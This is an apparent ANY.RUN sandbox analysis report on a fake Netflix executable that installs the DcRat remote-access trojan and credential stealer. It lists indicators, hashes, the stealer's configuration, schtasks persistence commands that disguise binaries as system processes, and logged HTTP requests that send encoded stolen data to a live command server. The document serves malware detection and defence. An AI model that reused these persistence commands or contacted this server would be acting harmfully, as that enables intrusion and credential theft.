File name:

netflix- x86_64.exe

Full analysis: https://app.any.run/tasks/f2e6a90c-398f-4d0f-afba-51c169dc236f
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: January 04, 2024, 08:39:54
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
backdoor
dcrat
remote
stealer
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

9D5F8F887B2FAC8E5061CFD242CFB617

SHA1:

16FFD844ED618F9AF1CA774395B89B36297AF96E

SHA256:

CA4723B3FE424EC7089988B7D2AE421909BFEF4C5954CF2AE72D77DB2B5E67C3

SSDEEP:

98304:xyi3LsFn0+4/ekDad4ExcOUvDNZkPr6F/dUq2NbnNMqaBOupq18gOwyq4jYRo/w2:6wwgxqR26dY

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 1632)

    • DCRAT has been detected (YARA)

      • dllhost.exe (PID: 3320)

    • Steals credentials from Web Browsers

      • dllhost.exe (PID: 3320)

    • Actions looks like stealing of personal data

      • dllhost.exe (PID: 3320)

  • SUSPICIOUS

    • Reads the Internet Settings

      • Netflix CE.exe (PID: 316)
      • wscript.exe (PID: 1632)
      • netflix- x86_64.exe (PID: 116)
      • chainReviewperf.exe (PID: 1496)
      • chainReviewperf.exe (PID: 1844)
      • dllhost.exe (PID: 3320)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 1632)
      • chainReviewperf.exe (PID: 1844)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 1632)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 1632)
      • chainReviewperf.exe (PID: 1844)

    • The process creates files with name similar to system file names

      • chainReviewperf.exe (PID: 1496)
      • chainReviewperf.exe (PID: 1844)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 1780)

    • Probably delay the execution using 'w32tm.exe'

      • cmd.exe (PID: 2936)

    • Reads browser cookies

      • dllhost.exe (PID: 3320)

    • Loads DLL from Mozilla Firefox

      • dllhost.exe (PID: 3320)

  • INFO

    • Checks supported languages

      • netflix- x86_64.exe (PID: 116)
      • Netflix CE.exe (PID: 316)
      • chainReviewperf.exe (PID: 1496)
      • chainReviewperf.exe (PID: 1844)
      • dllhost.exe (PID: 3320)

    • Reads the computer name

      • netflix- x86_64.exe (PID: 116)
      • Netflix CE.exe (PID: 316)
      • chainReviewperf.exe (PID: 1496)
      • chainReviewperf.exe (PID: 1844)
      • dllhost.exe (PID: 3320)

    • Drops the executable file immediately after the start

      • netflix- x86_64.exe (PID: 116)
      • Netflix CE.exe (PID: 316)
      • chainReviewperf.exe (PID: 1844)
      • chainReviewperf.exe (PID: 1496)

    • Create files in a temporary directory

      • netflix- x86_64.exe (PID: 116)
      • chainReviewperf.exe (PID: 1844)
      • dllhost.exe (PID: 3320)

    • Reads the machine GUID from the registry

      • chainReviewperf.exe (PID: 1496)
      • chainReviewperf.exe (PID: 1844)
      • dllhost.exe (PID: 3320)

    • Reads Environment values

      • chainReviewperf.exe (PID: 1496)
      • chainReviewperf.exe (PID: 1844)
      • dllhost.exe (PID: 3320)

    • Executed via WMI

      • schtasks.exe (PID: 2296)
      • schtasks.exe (PID: 2172)
      • schtasks.exe (PID: 1928)
      • schtasks.exe (PID: 2168)
      • schtasks.exe (PID: 1544)
      • schtasks.exe (PID: 1540)
      • schtasks.exe (PID: 2348)
      • schtasks.exe (PID: 2480)
      • schtasks.exe (PID: 1560)
      • schtasks.exe (PID: 452)
      • schtasks.exe (PID: 2592)
      • schtasks.exe (PID: 2464)
      • schtasks.exe (PID: 1388)
      • schtasks.exe (PID: 2568)
      • schtasks.exe (PID: 2472)
      • schtasks.exe (PID: 1528)
      • schtasks.exe (PID: 2584)
      • schtasks.exe (PID: 1036)
      • schtasks.exe (PID: 1572)
      • schtasks.exe (PID: 2728)
      • schtasks.exe (PID: 876)
      • schtasks.exe (PID: 2484)
      • schtasks.exe (PID: 2452)
      • schtasks.exe (PID: 2292)
      • schtasks.exe (PID: 2724)
      • schtasks.exe (PID: 2756)
      • schtasks.exe (PID: 2112)
      • schtasks.exe (PID: 2916)
      • schtasks.exe (PID: 2892)
      • schtasks.exe (PID: 2900)
      • schtasks.exe (PID: 2884)
      • schtasks.exe (PID: 2176)
      • schtasks.exe (PID: 1196)
      • schtasks.exe (PID: 2512)
      • schtasks.exe (PID: 980)
      • schtasks.exe (PID: 2760)
      • schtasks.exe (PID: 2840)
      • schtasks.exe (PID: 2860)
      • schtasks.exe (PID: 2548)
      • schtasks.exe (PID: 2516)
      • schtasks.exe (PID: 2544)
      • schtasks.exe (PID: 3060)
      • schtasks.exe (PID: 2832)
      • schtasks.exe (PID: 884)
      • schtasks.exe (PID: 3016)
      • schtasks.exe (PID: 1484)
      • schtasks.exe (PID: 2876)
      • schtasks.exe (PID: 2356)
      • schtasks.exe (PID: 2968)
      • schtasks.exe (PID: 3024)
      • schtasks.exe (PID: 3032)
      • schtasks.exe (PID: 2944)
      • schtasks.exe (PID: 2676)
      • schtasks.exe (PID: 3152)
      • schtasks.exe (PID: 2652)
      • schtasks.exe (PID: 3128)
      • schtasks.exe (PID: 3236)
      • schtasks.exe (PID: 3120)
      • schtasks.exe (PID: 2656)
      • schtasks.exe (PID: 2460)

    • Creates files in the program directory

      • chainReviewperf.exe (PID: 1496)
      • chainReviewperf.exe (PID: 1844)

    • Application launched itself

      • chainReviewperf.exe (PID: 1496)

    • Reads product name

      • chainReviewperf.exe (PID: 1844)
      • dllhost.exe (PID: 3320)
      • chainReviewperf.exe (PID: 1496)

    • Creates files or folders in the user directory

      • chainReviewperf.exe (PID: 1844)

    • DCRAT has been detected (SURICATA)

      • dllhost.exe (PID: 3320)

    • Connects to the CnC server

      • dllhost.exe (PID: 3320)

    • Steals credentials

      • dllhost.exe (PID: 3320)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

DcRat

(PID) Process(3320) dllhost.exe
C2 (1)http://a0903328.xsph.ru/@==gbJBzYuFDT
Options
MutexDCR_MUTEX-pxqA51qPjtLyLC48LDd7
savebrowsersdatatosinglefilefalse
ignorepartiallyemptydatafalse
cookiestrue
passwordstrue
formstrue
cctrue
historyfalse
telegramtrue
steamtrue
discordtrue
filezillatrue
screenshottrue
clipboardtrue
sysinfotrue
searchpath%UsersFolder% - Fast
Targetru
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (64.6)
.dll | Win32 Dynamic Link Library (generic) (15.4)
.exe | Win32 Executable (generic) (10.5)
.exe | Generic Win/DOS Executable (4.6)
.exe | DOS Executable Generic (4.6)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2022:03:03 14:15:57+01:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14.3
CodeSize: 203776
InitializedDataSize: 145920
UninitializedDataSize: -
EntryPoint: 0x1f530
OSVersion: 5.1
ImageVersion: -
SubsystemVersion: 5.1
Subsystem: Windows GUI
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
109
Monitored processes
71
Malicious processes
8
Suspicious processes
0

Behavior graph

Click at the process to see the details
start netflix- x86_64.exe no specs netflix ce.exe no specs netflix ce.exe wscript.exe no specs cmd.exe no specs chainreviewperf.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs chainreviewperf.exe no specs reg.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs cmd.exe no specs w32tm.exe no specs #DCRAT dllhost.exe

Process information

PID
CMD
Path
Indicators
Parent process
116"C:\Users\admin\AppData\Local\Temp\netflix- x86_64.exe" C:\Users\admin\AppData\Local\Temp\netflix- x86_64.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\netflix- x86_64.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\ole32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
316"C:\Users\admin\AppData\Local\Temp\Netflix CE.exe" C:\Users\admin\AppData\Local\Temp\Netflix CE.exe
netflix- x86_64.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\netflix ce.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24542_none_5c0717c7a00ddc6d\gdiplus.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
452schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files\DVD Maker\en-US\csrss.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
864"C:\Users\admin\AppData\Local\Temp\Netflix CE.exe" C:\Users\admin\AppData\Local\Temp\Netflix CE.exe—netflix- x86_64.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221226540
Modules
Images
c:\users\admin\appdata\local\temp\netflix ce.exe
c:\windows\system32\ntdll.dll
876schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Bridgesessionbrokerperfnet\WmiPrvSE.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
884schtasks.exe /create /tn "SearchIndexer" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00A1-0407-0000-0000000FF1CE}-C\SearchIndexer.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
980schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-00A1-0C0A-0000-0000000FF1CE}-C\wininit.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1036schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\{90140000-00A1-0C0A-0000-0000000FF1CE}-C\wininit.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1196schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\wininit.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1388schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Program Files\DVD Maker\en-US\csrss.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
Total events
3 985
Read events
3 944
Write events
41
Delete events
0

Modification events

(PID) Process:(116) netflix- x86_64.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(116) netflix- x86_64.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(116) netflix- x86_64.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(116) netflix- x86_64.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(316) Netflix CE.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(316) Netflix CE.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(316) Netflix CE.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(316) Netflix CE.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(1632) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(1632) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
Executable files
22
Suspicious files
30
Text files
23
Unknown types
0

Dropped files

PID
Process
Filename
Type
1496chainReviewperf.exeC:\Bridgesessionbrokerperfnet\b75386f1303e64text
MD5:D49BC6AF9FD83E1C20456973E768D965
SHA256:6D5B198B95685B932344E7207CD7FB151974E741D2C55C53F3715A38FA0BE941
1496chainReviewperf.exeC:\Bridgesessionbrokerperfnet\taskhost.exeexecutable
MD5:2AC236B1D794A22790D78F5723E76D49
SHA256:C754D1F4B7084B3A0392EC01F43EF410A65C8B8696E9819E111CFE5AC6F4460A
1844chainReviewperf.exeC:\Program Files\DVD Maker\en-US\886983d96e3d3etext
MD5:024588B930D56BF15DA5BB8477CA0BBB
SHA256:C1CB7762C8EBCDBB2D368923062166973E2196DAF64532378A53466548229C2B
1844chainReviewperf.exeC:\Users\Default\617403385cfa57text
MD5:A73905699988CDF5182A07EED4E13294
SHA256:5E9DBB803C1074C862B68A25FF8321E58CE8D6EF908121A8AFB03765629F87F7
1844chainReviewperf.exeC:\Program Files\FileZilla FTP Client\resources\smss.exeexecutable
MD5:2AC236B1D794A22790D78F5723E76D49
SHA256:C754D1F4B7084B3A0392EC01F43EF410A65C8B8696E9819E111CFE5AC6F4460A
1844chainReviewperf.exeC:\MSOCache\All Users\{90140000-00A1-0C0A-0000-0000000FF1CE}-C\wininit.exeexecutable
MD5:2AC236B1D794A22790D78F5723E76D49
SHA256:C754D1F4B7084B3A0392EC01F43EF410A65C8B8696E9819E111CFE5AC6F4460A
1844chainReviewperf.exeC:\Users\Default\SearchFilterHost.exeexecutable
MD5:2AC236B1D794A22790D78F5723E76D49
SHA256:C754D1F4B7084B3A0392EC01F43EF410A65C8B8696E9819E111CFE5AC6F4460A
116netflix- x86_64.exeC:\Users\admin\AppData\Local\Temp\netflix-x86_64.exeexecutable
MD5:80AAC9EB41661617C92C8702E4299168
SHA256:C214E056432C4E65FCD8CE76CBD81E91BDA8A6C45A0C044F745BFA68C27D996C
1496chainReviewperf.exeC:\Program Files\Windows Media Player\Media Renderer\System.exeexecutable
MD5:2AC236B1D794A22790D78F5723E76D49
SHA256:C754D1F4B7084B3A0392EC01F43EF410A65C8B8696E9819E111CFE5AC6F4460A
1496chainReviewperf.exeC:\Users\Administrator\Videos\csrss.exeexecutable
MD5:2AC236B1D794A22790D78F5723E76D49
SHA256:C754D1F4B7084B3A0392EC01F43EF410A65C8B8696E9819E111CFE5AC6F4460A
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
23
TCP/UDP connections
7
DNS requests
1
Threats
5

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3320
dllhost.exe
GET
200
141.8.194.74:80
http://a0903328.xsph.ru/L1nc0In.php?m8gxGXCVv2=scSV9HzuSwMCjdTswbhT&RDrNbKAEY3sTBn6jEsDoIMfa=7UwoQ3Nj2bYlHh7zq43dti0XJstdpl&8d69c997a49de2222d57cd0edabb7725=852ed1ec39ca8f1a1bf95f08f736d3ab&20274e841d64dbb552e0660e549241d1=wY1ITZ4UGZ5ETZhhjMzUTOjZjMyUWZ5ETO1EDMhdzMzITNkhDZxMjY&m8gxGXCVv2=scSV9HzuSwMCjdTswbhT&RDrNbKAEY3sTBn6jEsDoIMfa=7UwoQ3Nj2bYlHh7zq43dti0XJstdpl
unknown
text
2.09 Kb
unknown
3320
dllhost.exe
GET
200
141.8.194.74:80
http://a0903328.xsph.ru/L1nc0In.php?ez9hdN8pp1=atoFHp7EJxALtCplarj6&qs8041Oe7oRYFP=SNtlz7OeeoQ&ylh7F5MuBqONytkLJ=wnwVTM87GbbOdMoVZ2ZrLd3&66f60e2c9a37676155aaabfccaaa2e55=2EWYmVTO1gTNhljZ0EmZyYGMlZmZzEzMzgjN2ETM0MmZzYGMiJjMzETMzcjNyMTNyQTOxUDN&20274e841d64dbb552e0660e549241d1=QZkZTN4QWNzEWNzQWN0QmNyITOyMGOkBTM3Q2YkRDZ5kzYhBjNyMjY&302fb9824e06f0ec58a353322a4b8a0e=0VfiIiOiU2Y3IGNhJDZkRTOwEWYkdjNmV2M1ADZ5ITMiNTMiFGMiwiI4QjNwcDZhRzNmFjMhVjNwYDN5MjYlRDMxkjYhRTYwYDOlFGZyIjYyIiOikTM2UWO5gjNyMTYmNzYxEDM0QzMiNmMkNzY1gTYkJzMiwiI4EGO3UTY1kDNzIDZ3M2YzEDZmF2NzYDZjZWNhVDNiJWNzEGNyUmNlJiOiEmNwADMkVWN1UzMmNmMmFDZ3QmYhFTNiNTMiRGZxYTMis3W
unknown
text
2.09 Kb
unknown
3320
dllhost.exe
GET
200
141.8.194.74:80
http://a0903328.xsph.ru/L1nc0In.php?ez9hdN8pp1=atoFHp7EJxALtCplarj6&qs8041Oe7oRYFP=SNtlz7OeeoQ&ylh7F5MuBqONytkLJ=wnwVTM87GbbOdMoVZ2ZrLd3&66f60e2c9a37676155aaabfccaaa2e55=2EWYmVTO1gTNhljZ0EmZyYGMlZmZzEzMzgjN2ETM0MmZzYGMiJjMzETMzcjNyMTNyQTOxUDN&20274e841d64dbb552e0660e549241d1=QZkZTN4QWNzEWNzQWN0QmNyITOyMGOkBTM3Q2YkRDZ5kzYhBjNyMjY&cbb854e447dff9edaaa18d99c48a473a=d1nI0MDM0UzNmJGZzIWOiF2Y5cDZ1MDMkZDZ1MjYkJTO1kDMlFzMkJmM1IiOikTM2UWO5gjNyMTYmNzYxEDM0QzMiNmMkNzY1gTYkJzMiwiI4EGO3UTY1kDNzIDZ3M2YzEDZmF2NzYDZjZWNhVDNiJWNzEGNyUmNlJiOiEmNwADMkVWN1UzMmNmMmFDZ3QmYhFTNiNTMiRGZxYTMis3W&302fb9824e06f0ec58a353322a4b8a0e=0VfiIiOiU2Y3IGNhJDZkRTOwEWYkdjNmV2M1ADZ5ITMiNTMiFGMiwiI0MDM0UzNmJGZzIWOiF2Y5cDZ1MDMkZDZ1MjYkJTO1kDMlFzMkJmM1IiOikTM2UWO5gjNyMTYmNzYxEDM0QzMiNmMkNzY1gTYkJzMiwiI4EGO3UTY1kDNzIDZ3M2YzEDZmF2NzYDZjZWNhVDNiJWNzEGNyUmNlJiOiEmNwADMkVWN1UzMmNmMmFDZ3QmYhFTNiNTMiRGZxYTMisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplEbohlW1FlaOZmWE9ENxMUZwhXbaBjVtJ2Y4Z0Y0Z1RWNGeGJGaOJjYNhnRYhmUYlVRCh0YChnRYVHbXJ2aGdEWj5kbjxmTYZ1Y4x2TEpUaPl2YzI2a1cVYYJVMRJkSDxUa0sWS2k0UihmTtlFbkFzYwp0QMl2aslkNJNlW1lzRhdXOtNmasdFV6xWbJNXSTtkeBlnW1x2RjdnVHRGVCNkT4F0QixmUyImTClmTntGSiBXMXl1RCNkTycGSLd2bINFSCpnT1lERJFkQTZVUOVUS3FEROJDMT5EcCN1SOJlRLxmSzIGRCN1STh2QixmUuJmSKl2TpV1VihWNVZVUOtWSzl0ULJUOpR1bBl2YsJFSjhmUXF1ZNNTWwh2RjhmSzI1ZFBjUXJ0QalnRHpVdGdEZUpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQp1keBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa0cVYzpEWaNUOTp1d502YxY1aJZTSTpVd50WZsFzVhBjSDxUaBRUT3FERNdXSp9Ua3dVWw40MidnSDxUar5mYoFTbjxGZFlEdBNkWsxWbaBnTXp1dOhUSwkTbUl2bqlkbKNjYpdXaJpXUE9kM0M0TzdGRPhXRqx0dVpWS2kUeZZHetl0cJNlUFpUaPl2auNGM1cFZ25UbJNXSTpleOhlWJpUaPlGNyIGckdlW5p0QMlGNXFGaxUUS0Z0RJBjSYRWb01mYopkbSl2bqlUNShVYqp0QMl2Zq1UdJpXT4RzUPBTSqx0MnpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiU2Y3IGNhJDZkRTOwEWYkdjNmV2M1ADZ5ITMiNTMiFGMiwiIwUjNwgzMjNmZhNmZ1QmMmFzNkNmN4YGZiNTZhZGM2QzN4ETYlJTM0IiOikTM2UWO5gjNyMTYmNzYxEDM0QzMiNmMkNzY1gTYkJzMiwiI4EGO3UTY1kDNzIDZ3M2YzEDZmF2NzYDZjZWNhVDNiJWNzEGNyUmNlJiOiEmNwADMkVWN1UzMmNmMmFDZ3QmYhFTNiNTMiRGZxYTMis3W
unknown
text
104 b
unknown
3320
dllhost.exe
GET
200
141.8.194.74:80
http://a0903328.xsph.ru/L1nc0In.php?ez9hdN8pp1=atoFHp7EJxALtCplarj6&qs8041Oe7oRYFP=SNtlz7OeeoQ&ylh7F5MuBqONytkLJ=wnwVTM87GbbOdMoVZ2ZrLd3&66f60e2c9a37676155aaabfccaaa2e55=2EWYmVTO1gTNhljZ0EmZyYGMlZmZzEzMzgjN2ETM0MmZzYGMiJjMzETMzcjNyMTNyQTOxUDN&20274e841d64dbb552e0660e549241d1=QZkZTN4QWNzEWNzQWN0QmNyITOyMGOkBTM3Q2YkRDZ5kzYhBjNyMjY&cbb854e447dff9edaaa18d99c48a473a=d1nI0MDM0UzNmJGZzIWOiF2Y5cDZ1MDMkZDZ1MjYkJTO1kDMlFzMkJmM1IiOikTM2UWO5gjNyMTYmNzYxEDM0QzMiNmMkNzY1gTYkJzMiwiI4EGO3UTY1kDNzIDZ3M2YzEDZmF2NzYDZjZWNhVDNiJWNzEGNyUmNlJiOiEmNwADMkVWN1UzMmNmMmFDZ3QmYhFTNiNTMiRGZxYTMis3W&302fb9824e06f0ec58a353322a4b8a0e=0VfiIiOiU2Y3IGNhJDZkRTOwEWYkdjNmV2M1ADZ5ITMiNTMiFGMiwiI0MDM0UzNmJGZzIWOiF2Y5cDZ1MDMkZDZ1MjYkJTO1kDMlFzMkJmM1IiOikTM2UWO5gjNyMTYmNzYxEDM0QzMiNmMkNzY1gTYkJzMiwiI4EGO3UTY1kDNzIDZ3M2YzEDZmF2NzYDZjZWNhVDNiJWNzEGNyUmNlJiOiEmNwADMkVWN1UzMmNmMmFDZ3QmYhFTNiNTMiRGZxYTMisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplEbohlW1FlaOZmWE9ENxMUZwhXbaBjVtJ2Y4Z0Y0Z1RWNGeGJGaOJjYNhnRYhmUYlVRCh0YChnRYVHbXJ2aGdEWj5kbjxmTYZ1Y4x2TEpUaPl2YzI2a1cVYYJVMRJkSDxUa0sWS2k0UihmTtlFbkFzYwp0QMl2aslkNJNlW1lzRhdXOtNmasdFV6xWbJNXSTtkeBlnW1x2RjdnVHRGVCNkT4F0QixmUyImTClmTntGSiBXMXl1RCNkTycGSLd2bINFSCpnT1lERJFkQTZVUOVUS3FEROJDMT5EcCN1SOJlRLxmSzIGRCN1STh2QixmUuJmSKl2TpV1VihWNVZVUOtWSzl0ULJUOpR1bBl2YsJFSjhmUXF1ZNNTWwh2RjhmSzI1ZFBjUXJ0QalnRHpVdGdEZUpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQp1keBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa0cVYzpEWaNUOTp1d502YxY1aJZTSTpVd50WZsFzVhBjSDxUaBRUT3FERNdXSp9